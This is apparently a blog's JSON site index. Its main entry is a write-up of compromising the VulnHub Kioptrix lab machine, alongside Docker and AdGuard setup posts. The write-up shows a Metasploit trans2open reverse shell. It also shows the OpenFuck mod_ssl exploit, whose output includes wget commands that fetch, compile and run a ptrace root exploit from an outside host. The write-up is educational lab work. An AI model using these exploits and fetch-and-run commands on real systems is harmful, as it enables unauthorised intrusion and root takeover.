2024","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"4 January 2024","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"11 August 2023","externalUrl":null,"permalink":"/tags/boot2root/","section":"Tags","summary":"","title":"Boot2root","type":"tags"},{"content":"Kioptrix is a vulnerable machine from VulnHub.\nSetup # Once we have downloaded the files from Vulnhub, we can import the virtual machine into either Virtual Box or VmWare.\nThe virtual machine should be configured to be on the same sub-net as our attacker.\nAt this point, I suggest that you stop reading and take a crack at the box yourself if you haven\u0026rsquo;t already. If you get stuck at any point, use this guide as hint.\nScanning and Enumeration # Since we are the only other machine on the network in this setup, we can use the network\u0026rsquo;s broadcast address to send a ping to all machines on the network and the machine which responds will be the victim.\n┌──(kali㉿kali)-[~/Documents/Kioptrix] └─$ ping 10.0.2.255 -b WARNING: pinging broadcast address PING 10.0.2.255 (10.0.2.255) 56(84) bytes of data. 64 bytes from 10.0.2.4: icmp_seq=1 ttl=255 time=1.80 ms 64 bytes from 10.0.2.4: icmp_seq=2 ttl=255 time=1.78 ms 64 bytes from 10.0.2.4: icmp_seq=3 ttl=255 time=1.71 ms 64 bytes from 10.0.2.4: icmp_seq=4 ttl=255 time=1.34 ms 64 bytes from 10.0.2.4: icmp_seq=5 ttl=255 time=0.753 ms 64 bytes from 10.0.2.4: icmp_seq=6 ttl=255 time=1.74 ms 64 bytes from 10.0.2.4: icmp_seq=7 ttl=255 time=1.34 ms From the above, we can clearly see that in my case the client is at 10.0.2.4.\nNow that we have the client\u0026rsquo;s IP address, we can jot this down to our notes and start running scans to see what type of services our clients might be running and on what machine.\nRunning a NMAP scan gets us a good insight into what is running on the host. For simplicity\u0026rsquo;s sake some of the lines have been removed or shortened.\n┌──(kali㉿kali)-[~/Documents/Kioptrix] └─$ nmap -sS -A -p- -T4 -oA nmap/scan_report 10.0.2.4 # Nmap 7.94 scan initiated Sat Aug 5 15:57:56 2023 as: nmap -sS -A -p- -T4 -oA nmap/scan_report 10.0.2.4 Nmap scan report for 10.0.2.4 Host is up (0.0011s latency). Scanned at 2023-08-05 15:58:10 IST for 34s Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) | ssh-hostkey: | 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1) | 1024 [SHORTENED] | 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA) | ssh-dss AAAAB3NzaC1kc3MAA[SHORTENED] | 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA) |_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/rTWY72jElft[SHORTENED] |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) | http-methods: | Supported Methods: GET HEAD OPTIONS TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_http-title: Test Page for the Apache Web Server on Red Hat Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 32768/tcp status |_ 100024 1 32770/udp status 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_ssl-date: 2023-08-05T19:58:48+00:00; +9h30m04s from scanner time. | http-methods: |_ Supported Methods: GET HEAD POST | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit | Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: md5WithRSAEncryption | Not valid before: 2009-09-26T09:32:06 | Not valid after: 2010-09-26T09:32:06 | MD5: 78ce:5293:4723:e7fe:c28d:74ab:42d7:02f1 | SHA-1: 9c42:91c3:bed2:a95b:983d:10ac:f766:ecb9:8766:1d33 | -----BEGIN CERTIFICATE----- [REMOVED] |_-----END CERTIFICATE----- |_http-title: 400 Bad Request | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC4_64_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 |_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b 32768/tcp open status 1 (RPC #100024) MAC Address: 00:50:56:3C:7A:ED (VMware) Device type: general purpose Running: Linux 2.4.X OS CPE: cpe:/o:linux:linux_kernel:2.4 OS details: Linux 2.4.9 - 2.4.18 (likely embedded) TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=8/5%OT=22%CT=1%CU=40725%PV=Y%DS=1%DC=D%G=Y%M=005056%TM OS:=64CE245C%P=x86_64-pc-linux-gnu)SEQ(SP=C1%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS OS:=7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=M OS:5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16 OS:A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST11N OS:W0%RD=0%Q=)T4(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=FF% OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q= OS:)T7(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=FF%IPL=164% OS:UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=FF%CD=S) Uptime guess: 0.009 days (since Sat Aug 5 15:45:04 2023) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=193 (Good luck!) IP ID Sequence Generation: All zeros Host script results: |_smb2-security-mode: Couldn\u0026#39;t establish a SMBv2 connection. | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 10637/tcp): CLEAN (Couldn\u0026#39;t connect) | Check 2 (port 50108/tcp): CLEAN (Couldn\u0026#39;t connect) | Check 3 (port 20871/udp): CLEAN (Failed to receive data) | Check 4 (port 43005/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) | Names: | KIOPTRIX\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | KIOPTRIX\u0026lt;03\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | KIOPTRIX\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | \\x01\\x02__MSBROWSE__\\x02\u0026lt;01\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | MYGROUP\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | MYGROUP\u0026lt;1d\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | MYGROUP\u0026lt;1e\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | Statistics: | 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 | 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 |_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00 |_clock-skew: 9h30m03s |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE HOP RTT ADDRESS 1 1.06 ms 10.0.2.4 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Aug 5 15:58:44 2023 -- 1 IP address (1 host up) scanned in 48.35 seconds I\u0026rsquo;ve gone ahead and highlighted most of the crucial information. Things like version numbers, ports and the services should be in our notes.\nNow that we have an idea of what is running on our machines we can start investigating more closely.\nSince we have a HTTP/HTTPS server, we can start a nikto scan along with feroxbuster.\n┌──(kali㉿kali)-[~/Documents/Kioptrix] └─$ nikto -h 10.0.2.4 For feroxbuster we will need to provide a wordlist of directories to search, luckily Kali comes prepared with a wordlists located at usr/share/wordlists/dirbuster/.\n┌──(kali㉿kali)-[~/Documents/Kioptrix] └─$ feroxbuster -u http://10.0.2.4/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Now these scans should take a while, so in the mean time, we can do a little manually ennumeration by checking out the web pages through the browser.\nNavigating to the site we can see a default Apache install page. This could potentially lead to some vulnerability due to the default Apache configuration, and should be taken note of.\nThe NMAP scan also revealed that our host has SMB installed, however it didn\u0026rsquo;t give us any information on what version. We can make use of Metasploit module to find the SMB version\nmsf6 auxiliary(scanner/smb/smb_version) \u0026gt; exploit [*] 10.0.2.4:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional) [*] 10.0.2.4:139 - Host could not be identified: Unix (Samba 2.2.1a) [*] 10.0.2.4: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed We can also check if there are any file shares we can access without proper credentials by attempting an annoymous login with smbclient.\nWe need more than one set of \u0026lsquo;\\\u0026rsquo; since bash escapes them -L is used to list the shares.\n┌──(kali㉿kali)-[~] └─$ smbclient -L \\\\\\\\10.0.2.4\\\\\\\\ Server does not support EXTENDED_SECURITY but \u0026#39;client use spnego = yes\u0026#39; and \u0026#39;client ntlmv2 auth = yes\u0026#39; is set Anonymous login successful Password for [WORKGROUP\\kali]: Sharename Type Comment --------- ---- ------- IPC$ IPC IPC Service (Samba Server) ADMIN$ IPC IPC Service (Samba Server) Reconnecting with SMB1 for workgroup listing. Server does not support EXTENDED_SECURITY but \u0026#39;client use spnego = yes\u0026#39; and \u0026#39;client ntlmv2 auth = yes\u0026#39; is set Anonymous login successful Server Comment --------- ------- KIOPTRIX Samba Server Workgroup Master --------- ------- MYGROUP KIOPTRIX So, it looks like there is one share ADMIN$ (we can generally ignore IPC$). Trying to connect to the admin share fails, however it is important to note its existance as there might be something to look at during post exploitation or even during the exploitation stages.\nLet\u0026rsquo;s take a look at the results of our HTTP server scans. Personally the feroxbuster scan didn\u0026rsquo;t reveal that much due to some bugs, however nikto revealed a lot of information.\n$ nikto -h 10.0.2.4 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.0.2.4 + Target Hostname: 10.0.2.4 + Target Port: 80 + Start Time: 2023-08-06 12:00:58 (GMT5.5) --------------------------------------------------------------------------- + Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b + /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep 6 08:42:46 2001. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Apache is vulnerable to XSS via the Expect header. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918 + OpenSSL/0.9.6b appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023. + Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version). + OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing + Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. + Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. + Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. + mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. + ///etc/hosts: The server install allows reading of any system file by adding an extra \u0026#39;/\u0026#39; to the URL. + /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835 + /manual/: Directory indexing found. + /manual/: Web server manual found. + /icons/: Directory indexing found. + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response + Scan terminated: 19 error(s) and 18 item(s) reported on remote host + End Time: 2023-08-06 12:07:50 (GMT5.5) (412 seconds) --------------------------------------------------------------------------- + 1 host(s) tested This scan reveals quite a few attack vectors.\nThe remote buffer overflow leading to a remote shell Reading /etc/shadow and cracking hashes Now I wanted to have the 2nd option running in the background while I look for other options to gain access. However when I tried to access ///etc/hosts like Nikto did, I got a 404 error.\nAfter a little bit of googling along the lines of nikto ///etc/hosts, I stumbled on this Github issue: https://github.com/sullo/nikto/issues/497.\nIt seems like since the box returns web pages with 127.0.0.1 at the bottom, nikto assumes this is part of the hosts file and gives us a false positive.\nResearch # At this point, it looks like our only option is the remote buffer overflow in mod_ssl (https://www.exploit-db.com/exploits/47080), however we still have to check in on the other oudated services (Apache, Samba).\nLooking for vulnerabilities in Apache was pretty lack luster for me, though Samba delivered this: https://www.exploit-db.com/exploits/16861\nNow this is wonderful, an exploit from Metasploit.\nExploitation # We have identified 2 possible remote code execution attack vectors.\nSamba Vulnerability # The exploit we are looking for is /exploit/linux/samba/trans2open. I had some trouble getting a staged payload to work, so I went with the unstaged reverse TCP payload (set payload /payload/...)\nmsf6 exploit(linux/samba/trans2open) \u0026gt; exploit [*] Started reverse TCP handler on 10.0.2.15:4444 [*] 10.0.2.4:139 - Trying return address 0xbffffdfc... [*] 10.0.2.4:139 - Trying return address 0xbffffcfc... [*] 10.0.2.4:139 - Trying return address 0xbffffbfc... [*] 10.0.2.4:139 - Trying return address 0xbffffafc... [*] 10.0.2.4:139 - Trying return address 0xbffff9fc... [*] 10.0.2.4:139 - Trying return address 0xbffff8fc... [*] 10.0.2.4:139 - Trying return address 0xbffff7fc... [*] 10.0.2.4:139 - Trying return address 0xbffff6fc... [*] Command shell session 1 opened (10.0.2.15:4444 -\u0026gt; 10.0.2.4:32782) at 2023-08-11 10:42:02 -0400 whoami root cat /etc/passwd root:​x:0:0:root:/root:/bin/bash bin:​x:1:1:bin:/bin:/sbin/nologin daemon:​x:2:2:daemon:/sbin:/sbin/nologin adm:​x:3:4:adm:/var/adm:/sbin/nologin lp:​x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:​x:5:0:sync:/sbin:/bin/sync shutdown:​x:6:0:shutdown:/sbin:/sbin/shutdown halt:​x:7:0:halt:/sbin:/sbin/halt mail:​x:8:12:mail:/var/spool/mail:/sbin/nologin news:​x:9:13:news:/var/spool/news: uucp:​x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:​x:11:0:operator:/root:/sbin/nologin games:​x:12:100:games:/usr/games:/sbin/nologin gopher:​x:13:30:gopher:/var/gopher:/sbin/nologin ftp:​x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:​x:99:99:Nobody:/:/sbin/nologin mailnull:​x:47:47::/var/spool/mqueue:/dev/null rpm:​x:37:37::/var/lib/rpm:/bin/bash xfs:​x:43:43:X Font Server:/etc/X11/fs:/bin/false rpc:​x:32:32:Portmapper RPC user:/:/bin/false rpcuser:​x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:​x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin nscd:​x:28:28:NSCD Daemon:/:/bin/false ident:​x:98:98:pident user:/:/sbin/nologin radvd:​x:75:75:radvd user:/:/bin/false postgres:​x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash apache:​x:48:48:Apache:/var/www:/bin/false squid:​x:23:23::/var/spool/squid:/dev/null pcap:​x:77:77::/var/arpwatch:/bin/nologin john:​x:500:500::/home/john:/bin/bash harold:​x:501:501::/home/harold:/bin/bash mod_ssl # Unlike the Samba vulnerability, mod_ssl requires a bit more work. We can either download the source code from the exploit database link above, or we can use searchsploit\nsearchsploit -p 47080 This should return the path to the location of the source code on our system. Once we make a copy in our current directory, we can look inside for a hints on how to get it operational.\n/* * OF version r00t VERY PRIV8 spabam * Version: v3.0.4 * Requirements: libssl-dev ( apt-get install libssl-dev ) * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto * objdump -R /usr/sbin/httpd|grep free to get more targets * #hackarena irc.brasnet.org * Note: if required, host ptrace and replace wget target */ According to the comments, all we need to do is apt install libssl-dev, then compile the source code with gcc -o OpenLuck \u0026lt;filename\u0026gt; -lcrypto.\nThe installation and compilation goes pretty smoothly. Once that is complete, we can run the binary with no flags or options to get an idea of the syntax.\nOne of the parameters is the target, its depends on what linux and apache version we have.\nOur box has two possible choices:\n\u0026ldquo;RedHat Linux 7.2 (apache-1.3.20-16)1\u0026rdquo;: 0x6a \u0026ldquo;RedHat Linux 7.2 (apache-1.3.20-16)2\u0026rdquo;: 0x6b Using the first option didn\u0026rsquo;t seem to work for me so 0x6b it is 😃.\n┌──(kali㉿kali)-[~/Documents/Kioptrix] └─$ ./OpenLuck 0x6b 10.0.2.4 443 -c 46 ******************************************************************* * OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* * by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE * * #hackarena irc.brasnet.org * * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname * * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam * * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ * ******************************************************************* Connection... 46 of 46 Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f8068 Ready to send shellcode Spawning shell... bash: no job control in this shell bash-2.05$ d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo --14:46:25-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c =\u0026gt; `ptrace-kmod.c\u0026#39; Connecting to dl.packetstormsecurity.net:443... dl.packetstormsecurity.net: Host not found. gcc: ptrace-kmod.c: No such file or directory gcc: No input files rm: cannot remove `ptrace-kmod.c\u0026#39;: No such file or directory bash: ./exploit: No such file or directory bash-2.05$ wget http://10.0.2.15:8000/ptrace-kmod.c wget http://10.0.2.15:8000/ptrace-kmod.c --14:48:20-- http://10.0.2.15:8000/ptrace-kmod.c =\u0026gt; `ptrace-kmod.c\u0026#39; Connecting to 10.0.2.15:8000... connected! HTTP request sent, awaiting response... 200 OK Length: 3,921 [text/x-csrc] 0K ... 100% @ 1.87 MB/s 14:48:20 (957.28 KB/s) - `ptrace-kmod.c\u0026#39; saved [3921/3921] bash-2.05$ gcc -o exploit ptrace-kmod.c -B /usr/bin/bash gcc -o exploit ptrace-kmod.c -B /usr/bin/bash gcc: file path prefix `/usr/bin/bash\u0026#39; never used bash-2.05$ ./exploit ./exploit [+] Attached to 1166 [+] Waiting for signal [+] Signal caught [+] Shellcode placed at 0x4001189d [+] Now wait for suid shell... whoami root cat /etc/passwd root:​x:0:0:root:/root:/bin/bash bin:​x:1:1:bin:/bin:/sbin/nologin daemon:​x:2:2:daemon:/sbin:/sbin/nologin adm:​x:3:4:adm:/var/adm:/sbin/nologin lp:​x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:​x:5:0:sync:/sbin:/bin/sync shutdown:​x:6:0:shutdown:/sbin:/sbin/shutdown halt:​x:7:0:halt:/sbin:/sbin/halt mail:​x:8:12:mail:/var/spool/mail:/sbin/nologin news:​x:9:13:news:/var/spool/news: uucp:​x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:​x:11:0:operator:/root:/sbin/nologin games:​x:12:100:games:/usr/games:/sbin/nologin gopher:​x:13:30:gopher:/var/gopher:/sbin/nologin ftp:​x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:​x:99:99:Nobody:/:/sbin/nologin mailnull:​x:47:47::/var/spool/mqueue:/dev/null rpm:​x:37:37::/var/lib/rpm:/bin/bash xfs:​x:43:43:X Font Server:/etc/X11/fs:/bin/false rpc:​x:32:32:Portmapper RPC user:/:/bin/false rpcuser:​x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:​x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin nscd:​x:28:28:NSCD Daemon:/:/bin/false ident:​x:98:98:pident user:/:/sbin/nolcat /etc/passwd ogin radvd:​x:75:75:radvd user:/:/bin/false postgres:​x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash apache:​x:48:48:Apache:/var/www:/bin/false squid:​x:23:23::/var/spool/squid:/dev/null pcap:​x:77:77::/var/arpwatch:/bin/nologin john:​x:500:500::/home/john:/bin/bash harold:​x:501:501::/home/harold:/bin/bash You might have seen that intially I didn\u0026rsquo;t have root access, the mod_ssl exploit usually gets root access using another ptrace_kmod exploit, however since the host box wasn\u0026rsquo;t connected to the internet the file couldn\u0026rsquo;t be downloaded.\nThis meant I had to host the file on Kali with python (python3 -m http.server) and download the file from the host.\nOnce downloaded, it was as simple as compiling and running the file to gain root access.\nPost Exploitation # At this point, I haven\u0026rsquo;t really learn\u0026rsquo;t much about the post exploitation phase, however an idea I had would be to grab the /etc/shadow file and spend time cracking the hashes so next time we might not have to go through the whole exploitation phase.\n","date":"11 August 2023","externalUrl":null,"permalink":"/writeups/kioptrix/","section":"Writeups","summary":"A writeup detailing how I cracked VulnHub’s Kioptrix Box","title":"Kioptrix","type":"writeups"},{"content":"A writeup is a document which describes the process in which a puzzle / problem was solved.\nThese puzzles or problems are generally from CTFs or from vulnerable machines\nCTF Writeups # These writeups are solutions to past CTF challenges.\nA CTF or Capture The Flag is an event where a puzzle is provided. The puzzle will reveal a flag or a special sequence of text which proves that you were able to solve the CTF.\nCTF writeups detail the process and thinking methodology used to solve a CTF\nVulnerable Machine Writeups # A vulnerable machine writeup describes how a vulnerable machine was exploited and gained access to. It may also contain remedies.\nThese writeups are usually for machines found on TryHackMe or HTB.\nThese writeups go over the penetration testing methodology and show the sequence of events that lead to a machine being pwned\n","date":"11 August 2023","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"","title":"Writeups","type":"writeups"},{"content":"In a recent post, we setup docker on a Raspberry Pi. In this post, we will look into how we can use docker to run a few nice to have services, at home in a quick and easy manner.\nDocker Containers \u0026amp; Images # Docker containers are an entire application packaged to be run in an isolated environment. A docker image is in a way, like the blueprint to build a container (ie) using one image we could deploy multiple different containers running the same service.\nNow this is all fine and dandy, however we now have a problem, where do we get these docker images ?\nWell that\u0026rsquo;s easy, a whole bunch of images can be found on this site hosted by Docker.\nTo get these images onto our computer we can run the following command in the terminal:\ndocker pull \u0026lt;image name\u0026gt; To get rid of any image we not longer want, we run the command:\ndocker rmi \u0026lt;image name\u0026gt; Please by aware that starting a container requires the image for that container to be present. Once we have are image, we can create a container from it by running the command:\ndocker run \u0026lt;options\u0026gt; \u0026lt;image name\u0026gt; Setting up Adguard # Before we run any commands or set anything up, we need to understand what exactly we are doing.\nThe first and major question would be what is adguard and why should we set it up ?\nWhat is Adguard ? # Adguard is an opensource DNS sinkhole hosted on Github. Now that explains everything and nothing depending on your networking knowledge, so let me explain what a DNS sinkhole is.\nTo do this we must first understand a small amount of networking, so grab a notebook and follow along.\nEvery device connected to the internet has an address the same way every house an address. So if your computer needs to connect to https://blog.reith77.tk, your computer needs the address of the server on which the website is hosted (running).\nNow unlike the human addressing system, computers use IP address. An IP address is a set of 4 numbers from 0-255 split by a \u0026rsquo; . '\nSo an example IP address would be 192.168.1.1\nSince IP addresses often change and are bought and sold commercially, we can\u0026rsquo;t hard code the address of every website or service we would like to access, nor is it practical to connect to a website by typing in a IP address.\nTo get around this, Domain Name System (DNS) was introduced. DNS basically convert between hostnames (Eg: https://www.google.com ) and their IP addresses.\nSo when a computer wants to connect to a website and doesn\u0026rsquo;t know it\u0026rsquo;s IP address, it contacts a DNS server, generally hosted on port 53 (this will be important later), and gets the address for that website and establishes a conncetion.\nSo we\u0026rsquo;ve figured out what DNS is, but what is a DNS sinkhole ? A DNS sinkhole is basically a blackhole for DNS queries. Let\u0026rsquo;s assume that we don\u0026rsquo;t want anyone to connect to https://youtube.com. Well whenever a DNS request for youtube is made, we could send them to an address like 0.0.0.0, now since youtube clearly doesn\u0026rsquo;t live at this address, no computer using your DNS will be able to connect.\nInstalling Adguard # To install adguard we will obviously be using docker.\nWe will first require the docker image for adguard home.\ndocker pull adguard/adguardhome Once we have our image we can create a folder on our raspberry pi, for all our adguard related files (Ex: ~/Adguard).\nWithin this folder, we need to create a file named docker-compose.yml and copy paste the following contents into the file.\nservices: adguard: container_name: Adguard restart: unless-stopped image: adguard/adguardhome volumes: - ./work:/opt/adguardhome/work - ./conf:/opt/adguardhome/conf ports: - 53:53/tcp - 53:53/udp - 80:80/tcp - 443:443/tcp - 443:443/udp - 3000:3000/tcp Once we have this file created, we need to ensure we run the command in the same directory or folder which that file is is.\nThe first command run below may vary for you depending on what folder you decided to use. Once you have opened the terminal in the proper folder, the second command can be run. cd ~/Adgaurd docker-compose up -d This should have started the adguard server, and you should now be able to access the dashboard for adguard at http://\u0026lt;YOUR RASPBERRY PI ADDRESS\u0026gt;:80. To learn more about how to configure Adguard checkout this wiki\nIf you would like to stop running adguard at any point, all we need to do is open a terminal at the same folder and run the following command\ndocker-compose down Have fun and let me know how it goes !!!\n","date":"2 April 2023","externalUrl":null,"permalink":"/blog/adguard-unbound-pi/","section":"Blog","summary":"Setting up Adguard Home on Raspberry Pi 3B+ using Docker Compose","title":"Adguard on a Pi","type":"blog"},{"content":" What is Docker \u0026amp; Docker Compose ? # Docker is method to easily deploy and maintain applications in containers.\nContainers are isolated prepackaged environments that include all dependancies required to run a certain piece or set of software. This makes it easy for developers to ship and deploy their software without having to worry about the environment or dependancy issues on the end users machine\nDocker compose, essentially is one file that specifies how multiple docker containers are laid out in a network as well as the configuration of each individual container. Using a docker-compose.yml file, multiple services can be run with one command.\nWhy install Docker ? # Docker can be used to run a variety of services like:\na full web stack running a small game server In later posts, we will look into using docker on a Raspberry Pi to block ads on a network scale rather than use adblock on every machine.\nInstallation Steps # Docker # The following guide has been written and tested on a Raspberry Pi 3B+ Before we install anything, we need to first ensure the Pi is updated.\nsudo apt update \u0026amp;\u0026amp; sudo apt upgrade Now that the Pi is upgraded with the latest software.\ncurl -sSL https://get.docker.com -o ./docker-install.sh Take a moment to review the contents of the install file looking for any suspicious lines of code. After you\u0026rsquo;re satisfied go ahead and run the next command.\nsudo sh ./docker-install.sh Let the installation finish, now before we can run use docker, we must give our current user the permissions to use docker. We first find our username by running the id command, then adding our user to the docker group.\n$ id uid=1000(reith).... $ sudo usermod -aG docker reith Now we can test docker by running the following command:\ndocker run hello-world If there are no errors, and docker outputs a \u0026ldquo;hello world\u0026rdquo; message, docker has been installed successfully and we can get rid of docker-install.sh if we\u0026rsquo;d like.\nDocker Compose # To install docker compose we first need to install python3.\nsudo apt install python3 python3-pip Now we can install docker-compose by running the command:\nsudo pip3 install docker-compose To test if docker-compose is installed, run docker-compose -v\n","date":"16 March 2023","externalUrl":null,"permalink":"/blog/docker-raspi-install/","section":"Blog","summary":"Setting up Docker \u0026 Docker Compose on a Raspberry Pi 3B+","title":"Installing Docker \u0026 Docker Compose on Raspberry Pi","type":"blog"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]